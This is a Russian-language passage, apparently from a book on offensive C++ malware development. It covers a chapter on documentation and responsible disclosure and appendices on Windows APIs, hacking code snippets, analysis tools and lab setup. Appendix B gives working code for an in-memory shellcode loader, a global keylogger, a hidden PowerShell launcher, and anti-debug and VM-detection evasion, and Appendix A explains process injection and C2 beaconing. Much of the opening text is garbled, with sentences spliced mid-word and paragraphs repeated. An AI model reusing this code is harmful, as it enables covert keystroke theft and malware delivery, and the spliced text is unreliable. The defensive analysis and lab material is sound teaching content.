Наконец, вы всегда должны вести подробные журналы своих тестовых действий. Это включает IP-адреса, хэши полезной нагрузки, конфигурации системы, времен какой вы относились бы к любому критически важному программному обеспечению. Ваши инструменты могут быть наступательными, но ваш образ мышления должен быть дисциплинированным, осторожным и прозрачным.

10.4 Важность документации и прозрачности​


При работе в области наступательной безопасности, особенно при@ или форма на их сайте. Будьте ясны, уважительны и лаконичны. Включите номера версий, шаги для воспроизведения и, если уместно, рабочий концепт-доказательство (proof of concept). Не отправляйте полные эксплойты, если вас разработке инструментов на C++, которые взаимодействуют с памятью, системными API или шеллкодом, документация - это не просто второстепенная задача. Это критически важная часть поддержания контроля, обеспечения повторяемости и демонстрации профессионализма. Без надлежащей документации даже успешное выполнениеные метки и любые аномалии. Эти журналы защищают вас в случае возникновения проблем и помогают воспроизводить их позже. Что еще более важно, они являются частью профессионального рабочего процесса, который отличает этичных операторов от любителей.

Работа в этой сфере означает отношение к своей работе с той же серьезностью, с задания red team может развалиться на этапе после оценки. Хуже того, отсутствие прозрачности может сделать вашу работу небрежной или даже злонамеренной.
Хорошая документация начинается с момента, когда вы начинаете разработку. Независимо от того, создаете ли вы загрузчик шеллкода об этом не просят, и никогда не используйте угрожающий язык или не требуйте оплаты, если вы не участвуете в программе поиска ошибок (bug bounty).
Также крайне важно предоставить им разумные сроки. Многие организации придерживаются 90-дневного или 120-дневного какой вы отнеслись бы к любому критически важному программному обеспечению. Ваши инструменты могут быть наступательными, но ваш образ мышления должен быть дисциплинированным, осторожным и прозрачным.

Предположим, вы написали модульный вредоносный фреймворк с различными модулями персистентности, механирования даже успешное выполнение задания red team может развалиться на этапе после оценки. Хуже того, отсутствие прозрачности может сделать вашу работу небрежной или даже злонамеренной.

Хорошее документирование начинается с момента, когда вы приступаете к созданию. Независимо от того, создаете ли вызмами внедрения и процедурами эксфильтрации данных. Если вы не документируете параметры, системные вызовы и зависимости четко, поддержание или расширение проекта становится кошмаром. Позже, если полезная нагрузка не сможет выполниться на новом целевом объекте, вы потратите время на обра окна перед публичным раскрытием, хотя это может варьироваться. Некоторые поставщики реагируют быстро. Другие молчат. Если они игнорируют вас или отклоняют проблему, вы можете в конечном итоге решить опубликовать свои выводы, но только после проведения должной осмотрительности и документирования каждого шагатную разработку собственных намерений. И если член команды или клиент должен будет проверить вашу работу, им будет трудно понять, что делает каждый компонент, особенно если он был обфусцирован или упакован для тестирования.

Теперь подумайте, насколько критичной становится прозрачность при отчетности о результатах. После.

Реальным примером безопасного раскрытия информации может быть обнаружение переполнения буфера в устаревшем приложении, которое все еще используется в корпоративных средах. После проверки сбоя и подтверждения его эксплуатируемости вы уведомляете поставщика. Через два месяца они исправляют его в обнов загрузчик шеллкода, разрабатываете пользовательский кейлоггер или развертываете агент C2, вам необходимо записывать, что делает каждый компонент, почему он существует и как он ведет себя в различных условиях. Это помогает не только другим, но и вам избежать случайных ошибок или небезопасного поведения. В упражнения red team или оценки безопасности вас могут попросить объяснить, как вы получили доступ, какие уязвимости вы использовали и какие системы были затронуты. Если ваши полезные нагрузки или действия плохо документированы, отчет будет казаться расплывчатым или неубедительным. С другой стороны, подробные журна этой области единственный недокументированный вызов памяти или неясный вызов Windows API может вызвать нестабильность, обнаружение или необратимый ущерб тестовой среде.

Предположим, вы написали модульный вредоносный фреймворк с различными модулями персистентности, механилении, отмечают вашу работу, и вы публикуете технический отчет, подробно описывающий ваш метод и влияние. Это приносит пользу сообществу, защищает пользователей и укрепляет вашу репутацию как ответственного исследователя.

В отличие от этого, публикация эксплойта нулевого дня на общедоступном форумелы, аннотированный исходный код и структурированные технические отчеты помогают вашему клиенту понять, что произошло и почему это важно.

Прозрачность также жизненно важна для соблюдения юридических и этических норм. Если инструмент, который вы создали, вызывает событие обнаружения или помечается антивирусным программным обеспечением, вам нужно будет точно показать, что он сделал и почему. Это особенно важно, если ваша работа пересекается с законными исследованиями безопасности или если вы работаете по контракту с строгими ограничениями области действия. Ведение частного репозитория с заметками, диаграм до уведомления поставщика рискует немедленной эксплуатацией и ставит под угрозу системы по всему миру. Это не исследование - это безрассудство.

Наконец, вы всегда должны вести подробные журналы своих тестовых действий. Это включает IP-адреса, хэши полеззмами инъекций и процедурами эксфильтрации. Если вы не документируете параметры, системные вызовы и зависимости четко, поддержание или расширение проекта становится кошмаром. Позже, если полезная нагрузка не сможет выполниться на новом целевом объекте, вы потратите время на обрамами и историей коммитов предоставляет доказательства того, что ваши намерения и действия были контролируемыми и законными.

С практической точки зрения, один из хороших методов - включать встроенную документацию в ваш код C++ с использованием четких комментариев и соглашений об именовании. Например, еслитный инжиниринг собственных намерений. И если член команды или клиент должен будет проверить вашу работу, им будет трудно понять, что делает каждый компонент, особенно если он был обфусцирован или упакован для тестирования.


Это говорит читателю (и вам в будущем), что эта функция не случайна - она является частью техники другой стороны, подробные журналы, аннотированный исходный код и структурированные технические отчеты помогают вашему клиенту понять, что произошло и почему это важно.
Прозрачность также жизненно важна для соблюдения юридических и этических норм. Если инструмент, который вы создали, вызывает уклонения, и ее вывод может быть декодирован где-то еще во время выполнения.

В более широком сообществе эта в будущем), что эта функция не является случайной - она является частью техники уклонения, и ее вывод может быть декодирован где-то еще во время выполнения.

Вы также можете расширить прозрачность, создавая свои инструменты с модульными системами журналирования. Например, если ваш загрузчик вредонос практика способствует обмену знаниями, не допуская злоупотреблений. Если вы пишете публичный пост в блоге или создаете инструмент с открытым исходным кодом, прозрачность помогает гарантировать, что читатели и коллеги используют его ответственно. Включайте оговорки, уточвисимо от того, создаете ли вы загрузчик шеллкода, разрабатываете пользовательский кейлоггер или развертываете агент C2, вам необходимо записывать, что делает каждый компонент, почему он существует и как он ведет себя при различных условиях. Это помогает не только другим, но и вамного ПО выполняет инъекцию DLL методом отражения (reflective DLL injection), запись идентификатора целевого процесса, временной метки и размера DLL во внутренний файл аудита позволяет отслеживать каждое действие, выполняемое инструментом. Это не для хвастовства или демонстрации - это для установления цепочки вланяйте назначение каждого компонента и никогда не выпускайте полностью готовые к использованию полезные нагрузки без надежных мер безопасности.

В этой работе вы часто сталкиваетесь с инструментами, которые размывают грань между исследованием и вторжением. Документация помогает вам оставаться на правильной стороне этой гранидения для каждой строки кода и каждого выполнения полезной нагрузки.

Помимо кода, ваша письменная документация должна включать архитектурные диаграммы, операционные блок-схемы и четкое объяснение модели угроз. Если вы моделируете фишинговую кампанию или боковое перемещение в. Это не просто доказательство того, что вы сделали. Это доказательство того, что вы сделали это ответственно.


Приложения​


Приложения этой книги содержат дополнительный справочный материал для поддержки вашего обучения, экспериментов и разработки. Независимо от того, являетесь ли вы новичком, изучающим разработку на C избежать случайных ошибок или небезопасного поведения. В этой области единственное недокументированное выделение памяти или неясный вызов Windows API может вызвать нестабильность, обнаружение или необратимый ущерб тестовой среде.

Предположим, вы написали модульный фреймворк среде Active Directory, опишите цели, ограничения и правила взаимодействия. Объясните, какие инструменты были развернуты, как поддерживалась персистентность и какие методы использовались для уклонения от обнаружения.

Реальные команды наступательной безопасности часто публикуют внутренние отчеты red team после выполнения++ для наступательных целей, или опытным специалистом, ищущим краткие технические ресурсы, этот раздел объединяет основные определения, практические инструменты, ссылки на сообщество и примеры упражнений в одном месте. Он разработан как универсальный справочник, к которому вы можете возвращаться при создании, тестировании вредоносного ПО с различными модулями персистентности, механизмами внедрения и процедурами эксфильтрации. Если вы не документируете параметры, системные вызовы и зависимости четко, поддержание или расширение проекта становится кошмаром. Позже, если полезная нагрузка не и документировании своей работы.

Приложение A - Распространенные Windows API для разработки вредоносного ПО

Понимание и использование Windows API имеет решающее значение при разработке низкоуровневого программного обеспечения, особенно при написании полезных нагрузок, оберток для шеллкода, загру заданий, которые включают не только цепочки атак, но и рекомендации по смягчению последствий, журналы активности C2, списки скомпрометированных учетных данных и временные метки ключевых событий. Эти отчеты вызывают доверие и ценятся, потому что они подкреплены четзчиков и других инструментов наступательной безопасности на C++. Windows API предоставляют прямой интерфейс к основным службам операционной системы, включая управление памятью, создание процессов, сетевое взаимодействие и работу с файлами.

В этом приложении мы рассмотрим наиболее релевантные API, используемые при разработке вредоносного сможет выполниться на новом целевом объекте, вы потратите время на обратную инженерию собственных намерений. И если член команды или клиент должен будет проверить вашу работу, им будет трудно понять, что делает каждый компонент, особенно если он был обфусцирован или упакован для тестирования.

Теперькой, прозрачной документацией.

В более широком сообществе эта практика способствует обмену знаниями, не допуская злоупотреблений. Если вы пишете публичный пост в блоге или создаете инструмент с открытым исходным кодом, прозрачность помогает гарантировать, что читатели и ПО, четко и точно объясняя их назначение, параметры и практические примеры использования.

VirtualAlloc
API VirtualAlloc используется для выделения памяти в виртуальном адресном пространстве процесса. При разработке вредоносного ПО он часто используется для резервирования места для шеллкода или полез рассмотрим, насколько критичной становится прозрачность при отчетности о результатах. После проведения упражнения красной команды или оценки безопасности вас могут попросить объяснить, как вы получили доступ, какие уязвимости вы использовали и какие системы были затронуты. Если ваши полезные нагрузки или действия плохо документированы, отчет будет казаных нагрузок перед выполнением.

Сигнатура функции:

LPVOID VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
  • ● lpAddress: Необязательно. Указывает желаемый начальный адрес выделенной области.
  • ● dwSize коллеги используют его ответственно. Включайте дисклеймеры, уточняйте назначение каждого компонента и никогда не выпускайте полностью вооруженные полезные нагрузки без надежных мер безопасности.


В этой работе вы часто имеете дело с инструментами, которые размывают грань между исследованием и вторжением. Документация - это то, что помогает вам оставаться на правильной стороне этой линии. Это не просто доказательство того, что вы сделали. Это доказательство того, что вы сделали это ответственно.

Приложения

Приложения этой книги содержат дополнительный справочный материал для поддержки вашего обучения, экспериментов и разработкиться расплывчатым или неубедительным. С другой стороны, подробные журналы, аннотированный исходный код и структурированные технические отчеты помогают вашему клиенту понять, что произошло и почему это важно.

Прозрачность также жизненно важна для соблюдения юридических и этических. Независимо от того, являетесь ли вы новичком, изучающим наступательную разработку на C++, или опытным специалистом, ищущим краткие технические ресурсы, этот раздел объединяет основные определения, практические инструменты, ссылки на сообщество и примеры упражнений в одном месте.: Размер области памяти в байтах.

  • ● flAllocationType: Распространенные флаги: MEM_COMMIT и MEM_RESERVE.
  • ● flProtect: Защита памяти. PAGE_EXECUTE_READWRITE разрешает выполнение, чтение и запись.
  • ● Пример использования: Выделить память для полезной нагрузки обратного шелла, записать ее с помощью memcpy, а затем выполнить с помощью CreateThread.


WriteProcessMemory
Этот API записывает данные в адресное пространство указанного процесса. Он часто используется при внедрении процессов и загрузке DLL методом отражения.

Сигнатура функции:

BOOL WriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesWritten);
  • ● hProcess: Дескриптор целевого процесса.
  • ● lpBaseAddress: Базовый адрес в целевом процессе, с Он разработан как универсальный справочник, к которому вы можете обращаться при создании, тестировании и документировании своей работы.


Приложение A - Распространенные Windows API для разработки вредоносного ПО

Понимание и использование Windows API имеет решающее значение в низкоуровневой которого начинается запись.

  • ● lpBuffer: Буфер, содержащий записываемые данные.
  • ● nSize: Количество записываемых байтов.
  • ● Пример использования: После выделения памяти в удаленном процессе с помощью VirtualAllocEx, внедрить полезную нагрузку с помощью WriteProcessMemory.


CreateRemoteThread
И разработке программного обеспечения, особенно при написании полезных нагрузок, оберток для шеллкода, загрузчиков и других инструментов наступательной безопасности на C++. Windows API предоставляют прямой интерфейс к основным службам операционной системы, включая управление памятью, создание процессов, сетевое взаимодействие и работуспользуется для запуска нового потока в другом процессе. В сочетании с выделением памяти и записью полезной нагрузки эта функция обеспечивает удаленное выполнение кода.

Сигнатура функции:

HANDLE CreateRemoteThread(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
  • ● hProcess: Дескриптор процесса, в котором должен выполняться поток.
  • ● lpStartAddress: Адрес в целевом процессе, с которого должен начаться поток.
  • ● lpParameter: Необязательный параметр, передаваемый функции потока.
  • ● Пример использования: Используется для выполнения шеллкода в удаленном процессе, например, при внедрении в explorer.


Приложение C - Инструменты для анализа вредоносного ПО и отладки

Понимание поведения вредоносного ПО, отслеживание выполнения и разбор полезных нагрузок требуют надежных инструментов. Независимо от того, анализируете ли вы подозрительный бинарный файл в контролидоносных модулей, а GetProcAddress разрешает адреса конкретных функций, необходимых полезной нагрузке.

EnumProcesses и OpenProcess
Эти функции полезны для перечисления процессов и получения их дескриптора, что необходимо при выполнении внедрения или разведки.

  • ● EnumProcesses: Переруемой среде или отлаживаете собственные проекты наступательной безопасности, выбор правильных инструментов имеет решающее значение. Это приложение представляет широко используемые утилиты для анализа вредоносного ПО и отладки, сгруппированные по назначению и простоте использования. Каждый инструмент четко объясняется, чтобы вы знали, для чего он предназначен, как он работает и почему он полезен в реальных сценариях.числяет все активные идентификаторы процессов.
  • ● OpenProcess: Открывает дескриптор с указанными правами доступа к процессу.
  • Сигнатура функции:
HANDLE OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);


Вариант использования:
Используются совместно для поиска конкретного процесса (например, explorer.exe или svchost.exe) и внедрения в него кода.

SetWindowsHookEx
Регистрирует функцию перехвата (hook), которая может отслеживать или изменять системные события, такие как нажатия клавиш или ввод с мыши.
Сигнатура функции:

HHOOK SetWindowsHookEx(int idHook, HOOKPROC lpfn, HINSTANCE hMod, DWORD dwThreadId);


Вариант использования:
Используется для реализации кейлоггеров путем перехвата событий клавиатуры (WH_KEYBOARD_LL).

InternetOpen и InternetOpenUrl
Часть библиотеки WinINet, эти API позволяют осуществлять HTTP-связь без необходимости использования внешних библиотек.
● InternetOpen: Инициализирует функции WinINet.
● InternetOpenUrl: Открывает URL и получает дескриптор ресурса.
Вариант использования:
Используется для маякования (beaconing), эксфильтрации данных или загрузки вторичных полезных нагрузок с серверов командно-контроля.

CreateProcess
Создает новый процесс и опционально позволяет вредоносному ПО наследовать дескрипторы или перенаправлять ввод/вывод. Часто используется в техниках подмены процессов (process hollowing) и LOLBAS.
Сигнатура функции:

BOOL CreateProcess(LPCSTR lpApplicationName, LPSTR lpCommandLine, ...);


Вариант использования:
Используется для запуска легитимного бинарного файла Windows, такого как cmd.exe или powershell.exe, и внедрения в него вредоносного кода.

NtQueryInformationProcess
Низкоуровневый API, часто используемый для уклонения от обнаружения или сбора внутренней информации о процессе или системной среде.
Вариант использования:
Может обнаружить, отлаживается ли процесс, или выполняется ли он в виртуализированной среде или песочнице.

Понимание того, как использовать эти API, позволяет вам управлять памятью, запускать или манипулировать процессами, перехватывать действия пользователя, обмениваться данными по сетям и уклоняться от обнаружения. При разработке вредоносного ПО, особенно на C++, это фундаментальные инструменты, обеспечивающие скрытность, гибкость и персистентность. Каждый API имеет свои оговорки и следы обнаружения, поэтому мастерство включает не только их использование, но и их разумное использование в безопасных лабораторных средах.

Приложение B - Полезные фрагменты кода на C++ для хакеров
Это приложение содержит набор практических фрагментов кода на C++, которые часто используются при исследованиях в области наступательной безопасности, разработке инструментов для красных команд и тестировании на проникновение. Каждый фрагмент четко объясняется, чтобы помочь вам понять, что он делает, как он работает и как вы можете изменить его в соответствии со своими целями. Эти примеры кода сосредоточены на взаимодействии с Windows API, выполнении низкоуровневых системных задач и создании небольших утилит, актуальных для наступательной разработки.

Выделение исполняемой памяти и запись шеллкода
Чтобы выполнить шеллкод в памяти, сначала нужно выделить область памяти с правами на выполнение, скопировать полезную нагрузку в эту область, а затем запустить ее. Следующий фрагмент демонстрирует это с использованием VirtualAlloc, memcpy и CreateThread.

#include <windows.h>
#include <iostream>

unsigned char shellcode[] = {
    0x90, 0x90, 0x90, // NOPs or actual shellcode
};

int main() {
    void* execMem = VirtualAlloc(nullptr, sizeof(shellcode),
                                 MEM_COMMIT | MEM_RESERVE,
                                 PAGE_EXECUTE_READWRITE);
    if (execMem == nullptr) {
        std::cerr << "Memory allocation failed." << std::endl;
        return 1;
    }
    memcpy(execMem, shellcode, sizeof(shellcode));
    HANDLE hThread = CreateThread(nullptr, 0,
                                  (LPTHREAD_START_ROUTINE)execMem, nullptr, 0, nullptr);
    WaitForSingleObject(hThread, INFINITE);
    return 0;
}


Этот шаблон часто используется в загрузчиках и стадиях (stagers), где полезная нагрузка должна быть записана и выполнена динамически.

Кейлоггер с использованием Windows Hooks
Базовый кейлоггер может быть реализован с использованием функции SetWindowsHookEx с перехватом WH_KEYBOARD_LL. Это позволяет глобально перехватывать нажатия клавиш в системе.

#include <windows.h>
#include <fstream>

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode == HC_ACTION && wParam == WM_KEYDOWN) {
        KBDLLHOOKSTRUCT* kbdStruct = (KBDLLHOOKSTRUCT*)lParam;
        std::ofstream log("keylog.txt", std::ios::app);
        log << (char)kbdStruct->vkCode;
        log.close();
    }
    return CallNextHookEx(nullptr, nCode, wParam, lParam);
}

int main() {
    HHOOK hook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, nullptr, 0);
    MSG msg;
    while (GetMessage(&msg, nullptr, 0, 0)) {}
    UnhookWindowsHookEx(hook);
    return 0;
}


Этот пример записывает каждую нажатую клавишу в текстовый файл. Для этичного тестирования запускайте это только в изолированных лабораторных средах.

Тихое выполнение команды (пример LOLBin)
Вы можете использовать C++ для запуска легитимных бинарных файлов Windows для выполнения действий косвенно - тактика, часто называемая "Living off the Land" (LOLBins). Следующий код запускает PowerShell в скрытом окне:

#include <windows.h>

int main() {
    STARTUPINFO si = { sizeof(STARTUPINFO) };
    PROCESS_INFORMATION pi;
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_HIDE;
    CreateProcess(nullptr, (LPSTR)"powershell -nop -w hidden",
                  nullptr, nullptr, FALSE, 0, nullptr, nullptr, &si, &pi);
    return 0;
}


Это может быть адаптировано для запуска любой команды, загрузки дополнительных полезных нагрузок или тихого выполнения скриптов.

Проверка на отладчики
Методы антиотладки часто полагаются на проверку определенных системных флагов или использование вызовов API, которые раскрывают присутствие отладчика. Вот фрагмент, использующий IsDebuggerPresent.

#include <windows.h>
#include <iostream>

int main() {
    if (IsDebuggerPresent()) {
        std::cout << "Debugger detected!" << std::endl;
        ExitProcess(0);
    }
    std::cout << "Running normally." << std::endl;
    return 0;
}


Эта проверка может быть встроена в загрузчик или RAT для уклонения от анализа во время статической или динамической инспекции.

Обнаружение виртуальной машины
Злоумышленники часто хотят избежать выполнения в песочницах или виртуальных средах. Одна простая проверка - запросить BIOS или реестр на наличие известных сигнатур виртуальных машин.

#include <windows.h>
#include <iostream>
#include <string>

bool isVM() {
    char buffer[128];
    DWORD size = sizeof(buffer);
    if (RegGetValueA(HKEY_LOCAL_MACHINE,
                     "HARDWARE\\DESCRIPTION\\System\\BIOS",
                     "SystemManufacturer", RRF_RT_REG_SZ, nullptr, &buffer, &size)
        == ERROR_SUCCESS) {
        std::string manufacturer(buffer);
        if (manufacturer.find("VMware") != std::string::npos ||
            manufacturer.find("VirtualBox") != std::string::npos) {
            return true;
        }
    }
    return false;
}

int main() {
    if (isVM()) {
        std::cout << "Virtual machine detected." << std::endl;
        return 1;
    }
    std::cout << "Physical machine." << std::endl;
    return 0;
}


Подобная логика часто встречается во вредоносном ПО, предназначенном для уклонения, или в инструментах красных команд, пытающихся избежать ловушек (honeypots).

Понимание того, как использовать эти API, позволяет вам управлять памятью, запускать или манипулировать процессами, перехватывать действия пользователя, обмениваться данными по сетям и уклоняться от обнаружения. При разработке вредоносного ПО, особенно на C++, это фундаментальные инструменты, обеспечивающие скрытность, гибкость и персистентность. Каждый API имеет свои оговорки и следы обнаружения, поэтому мастерство включает не только их использование, но и их разумное использование в безопасных лабораторных средах.

Приложение C - Инструменты для анализа вредоносного ПО и отладки
Понимание поведения вредоносного ПО, отслеживание выполнения и разбор полезных нагрузок требуют надежных инструментов. Независимо от того, анализируете ли вы подозрительный бинарный файл в контролируемой среде или отлаживаете собственные проекты наступательной безопасности, выбор правильных инструментов имеет решающее значение. В этом приложении представлены широко используемые утилиты для анализа вредоносного ПО и отладки, сгруппированные по назначению и простоте использования. Каждый инструмент четко объясняется, чтобы вы знали, для чего он предназначен, как он работает и почему он полезен в реальных сценариях.


Инструменты статического анализа

Статический анализ включает в себя проверку бинарного файла без его запуска. Это помогает вам анализировать дизассемблированные инструкции, строки, встроенные ресурсы и структуру файла.
PE-bear - это легковесное средство просмотра исполняемых файлов Windows (PE). Оно предоставляет структурированный обзор заголовков, секций, импортов и других метаданных в понятном и организованном интерфейсе. Это делает его полезным при быстрой проверке загрузчиков шеллкода, зашифрованных заглушек или пользовательских упаковщиков.
Ghidra, разработанная АНБ (NSA), является мощным инструментом для обратной разработки. Она обеспечивает декомпиляцию из ассемблера в псевдокод C, что полезно для понимания логики в скомпилированном коде. Она поддерживает скриптинг на Java или Python, позволяя автоматизировать повторяющиеся задачи анализа.
Cutter, удобный графический интерфейс для radare2, предлагает функции анализа бинарных файлов с чистым GUI. Он позволяет визуально анализировать граф потока управления функций, ссылки на строки и графы вызовов, что крайне важно при отслеживании работы вредоносного ПО.

Инструменты динамического анализа

  • Динамический анализ фокусируется на наблюдении за тем, что делает вредоносное ПО во время его выполнения. Это включает поведение в памяти, создание файлов, сетевой трафик и использование API.
  • x64dbg - один из наиболее широко используемых отладчиков для Windows. Он идеально подходит для анализа нативных исполняемых файлов Windows, полезных нагрузок шеллкода и техник внедрения процессов. Он поддерживает точки останова, инспекцию памяти и расширения плагинов, что делает его надежным выбором для низкоуровневой отладки.
  • Process Monitor (Procmon) от Sysinternals предназначен для захвата всей активности файловой системы, реестра и процессов/потоков в реальном времени. Он необходим при анализе механизмов персистентности, таких как модификации реестра или создание запланированных задач.
  • Process Explorer, также от Sysinternals, позволяет отслеживать запущенные процессы и выявлять подозрительные отношения родитель-потомок или аномальные дескрипторы, потоки и загруженные модули.
  • API Monitor особенно полезен, когда вы хотите отслеживать вызовы API, сделанные программой. Это крайне важно при оценке взаимодействия бинарного файла с API Windows, такими как VirtualAlloc, CreateRemoteThread или LoadLibrary.


Песочницы и анализ поведения
Any.Run - это облачная интерактивная песочница для вредоносного ПО. Она предлагает визуализацию дерева процессов в реальном времени, снимки памяти, сбор сброшенных файлов и сопоставление техник MITRE ATT&CK. Вы можете загрузить бинарный файл, наблюдать за его поведением в реальной системе и отслеживать индикаторы компрометации (IOC), такие как ключи реестра или исходящий трафик.
Cuckoo Sandbox - это система анализа вредоносного ПО с открытым исходным кодом, которая автоматизирует выполнение подозрительных файлов в виртуальной среде. Она предоставляет подробный отчет, включающий снимки экрана, записи файлов, использование API и сетевые соединения. Вы можете расширить возможности обнаружения поведения с помощью пользовательских сигнатур.

Шестнадцатеричные редакторы и просмотрщики памяти
HxD - это быстрый, бесплатный шестнадцатеричный редактор для проверки двоичных данных. Он полезен при поиске встроенного шеллкода, декодировании пейлоадов, зашифрованных XOR, или ручном патчинге исполняемых файлов.
WinDbg от Microsoft - это продвинутый отладчик, который поддерживает отладку в режиме ядра в реальном времени, анализ дампов сбоев и исследование руткитов вредоносного ПО. Он требует больше настроек, но чрезвычайно мощен для низкоуровневой работы.

Инструменты сетевого анализа
Wireshark захватывает и анализирует сетевой трафик, что делает его незаменимым для анализа вредоносного ПО. Он позволяет проверять соединения, установленные пейлоадами, обнаруживать попытки эксфильтрации данных и выявлять активность командно-контрольных серверов.
Fakenet-NG имитирует сетевые службы, такие как DNS, HTTP или FTP, чтобы вредоносное ПО, пытающееся установить исходящее соединение, взаимодействовало с контролируемой средой вместо реальных серверов. Это помогает захватить предполагаемое поведение, не разрешая реальный исходящий трафик.

Форензика памяти

  • Volatility - это инструмент для форензики памяти на основе Python, который может анализировать дампы ОЗУ для выявления вредоносных процессов, внедренного кода и DLL. Он часто используется после запуска вредоносного ПО в виртуальной машине для выяснения того, что произошло в памяти, особенно в сценариях внедрения процессов.
  • Rekall - это альтернативная структура для форензики памяти с похожими целями, но другой моделью плагинов. Оба инструмента полезны при попытке анализа беcфайлового вредоносного ПО или поведения после эксплуатации.
  • Эффективный анализ вредоносного ПО заключается в комбинировании нескольких инструментов, каждый из которых фокусируется на определенном аспекте - статической структуре, поведении во время выполнения, системном воздействии или сетевой активности. Перечисленные выше инструменты хорошо зарекомендовали себя как в профессиональных командах красных (red teaming), так и в рабочих процессах исследования вредоносного ПО. Как всегда, убедитесь, что вы используете эти инструменты в изолированных, непроизводственных средах, таких как виртуальные машины или песочницы, чтобы избежать любого непреднамеренного воздействия или распространения активного вредоносного ПО.
  • Научившись уверенно и ответственно использовать эти инструменты, вы будете лучше подготовлены к расследованию сложных угроз, обратной разработке сложных пейлоадов и созданию более скрытных инструментов для красных команд, осознавая, как они могут быть обнаружены или проанализированы.


Приложение D - Руководство по настройке лабораторной среды

Для безопасной разработки, тестирования и анализа вредоносного ПО или инструментов для красных команд вам потребуется выделенная лабораторная среда. Это контролируемое и изолированное пространство, которое позволяет экспериментировать с атакующим кодом, не рискуя вашей основной операционной системой, личными данными или сетью. Правильная настройка этой среды имеет решающее значение как для безопасности, так и для эффективности.

Виртуализация и изоляция
Основой безопасной лабораторной среды является виртуализация. Это означает использование программного обеспечения для имитации одной или нескольких машин внутри вашей хост-системы. Популярные платформы виртуализации включают VMware Workstation, VMware Player и VirtualBox. Эти платформы позволяют запускать гостевые операционные системы, такие как Windows или Linux, в изолированной среде.
Используя виртуализацию, вы можете легко приостанавливать, создавать снимки, откатывать или клонировать машины. Это полезно, когда что-то идет не так - например, образец вредоносного ПО повреждает систему. Снимок позволяет мгновенно вернуться к чистому состоянию.
Всегда отключайте доступ в Интернет для гостевых виртуальных машин, если вы не тестируете конкретное сетевое поведение. Если доступ в Интернет необходим, используйте режимы сети "только для хоста" (host-only) или NAT и внимательно отслеживайте трафик с помощью таких инструментов, как Wireshark или Fakenet-NG. Также убедитесь, что отключены общие папки или интеграция буфера обмена между хост-системой и гостевыми системами, чтобы предотвратить побег вредоносного ПО из песочницы.

Операционные системы для тестирования
В вашей лаборатории лучше всего установить несколько операционных систем для имитации реалистичных целей. Windows 10 или 11 необходимы, поскольку большая часть вредоносного ПО разработана для Windows. Вы также можете включить выпуски Windows 7 или Windows Server для тестирования устаревших систем. Для инструментов красных команд или инфраструктуры C2 полезными вариантами являются Kali Linux, Ubuntu или Parrot OS.
Используйте нелицензированные или пробные версии для тестирования, где это необходимо. Microsoft предоставляет пробные ISO-образы, которые идеально подходят для временных лабораторных установок.
Поддерживайте эти системы как можно ближе к реальным средам. Это означает установку такого программного обеспечения, как браузеры, PDF-ридеры, Microsoft Office или антивирусные программы, как вы бы нашли на целевой машине.

Снимки и версионирование
Перед тестированием вредоносного ПО или шеллкода всегда делайте чистый снимок вашей виртуальной машины. Это позволит вам свободно экспериментировать и откатиться к базовому состоянию после этого. Некоторые инструменты могут изменять системные файлы, устанавливать механизмы персистентности или полностью вызывать сбой ОС. Со снимками вы можете исследовать это поведение без необходимости полной переустановки.

Хорошей практикой является поддержание набора базовых снимков:

  • ● Чистая установка ОС со всем установленным программным обеспечением
  • ● Снимок после заражения или выполнения
  • ● Снимок перед отладкой

Эта структура помогает повторять тесты или возвращаться к известному рабочему состоянию для дальнейшей отладки и наблюдения.

Инструменты и отладчики
Внутри вашей гостевой ОС установите все необходимые инструменты для разработки и анализа вредоносного ПО. К ним могут относиться:

  • ● Visual Studio (для разработки на C++)
  • ● x64dbg, PE-bear, Ghidra, Process Monitor
  • ● Wireshark, Procmon, Autoruns
  • ● Fakenet-NG, Python и PowerShell 5/7
  • ● Sysinternals Suite (для низкоуровневой инспекции Windows)
  • ● Netcat, Nmap и инструменты для захвата пакетов

Если вы пишете шеллкод, включите такие инструменты, как NASM или Keystone, и держите копию msfvenom под рукой для генерации пейлоадов или сравнительного анализа.

Сетевая симуляция
Для тестирования вредоносного ПО, которое обменивается данными по сети, симулируйте контролируемую сетевую среду. Это может включать:

  • ● Локальный DNS-сервер (например, BIND или dnsmasq) для разрешения поддельных доменов
  • ● C2-сервер, работающий под управлением Covenant, Cobalt Strike или пользовательского TCP-слушателя
  • ● Инструменты, такие как Wireshark или tcpdump, для мониторинга и логирования трафика
  • ● Межсетевые экраны, такие как pfSense, для имитации уровней корпоративной защиты

Если вредоносное ПО, которое вы анализируете, пытается связаться с Интернетом, перенаправляйте DNS-запросы на свой собственный хост. Это позволит вам отслеживать или эмулировать ответы, вместо того чтобы позволять образцу связываться с реальными доменами.

Логирование и мониторинг
Инструментируйте ваши лабораторные системы инструментами, которые отслеживают и логируют все - это включает выполнение процессов, изменения реестра, события файловой системы и сетевые пакеты. Непрерывно захватывая данные, вы сможете:

  • ● Отслеживать пути выполнения
  • ● Понимать механизмы персистентности
  • ● Извлекать индикаторы компрометации (IOC)
  • ● Воспроизводить или визуализировать поведение после выполнения

Инструменты, такие как ApateDNS, Procmon и Sysmon (от Sysinternals), предлагают детальную видимость поведения системы. Для более глубокого понимания памяти после захвата дампов памяти можно использовать Volatility или Rekall.

Меры предосторожности для хоста
Никогда не запускайте неизвестный код на вашей хост-системе. Всегда работайте с вредоносным ПО внутри гостевой виртуальной машины. Используйте снимки, отключайте функции перетаскивания и убедитесь, что антивирус вашего хоста активен и обновлен.
Для дополнительной безопасности рассмотрите возможность запуска всей вашей лаборатории на выделенной физической машине или в изолированном сетевом сегменте. Это гарантирует, что даже если вредоносное ПО попытается выйти из изоляции, оно не сможет достичь производственных устройств или онлайн-сервисов.

Заключительные рекомендации

  • Ваша лаборатория должна регулярно обновляться и поддерживаться, как и любая производственная система. Обновляйте программное обеспечение, делайте свежие снимки при изменении конфигураций и документируйте ваши тестовые установки и наблюдения.
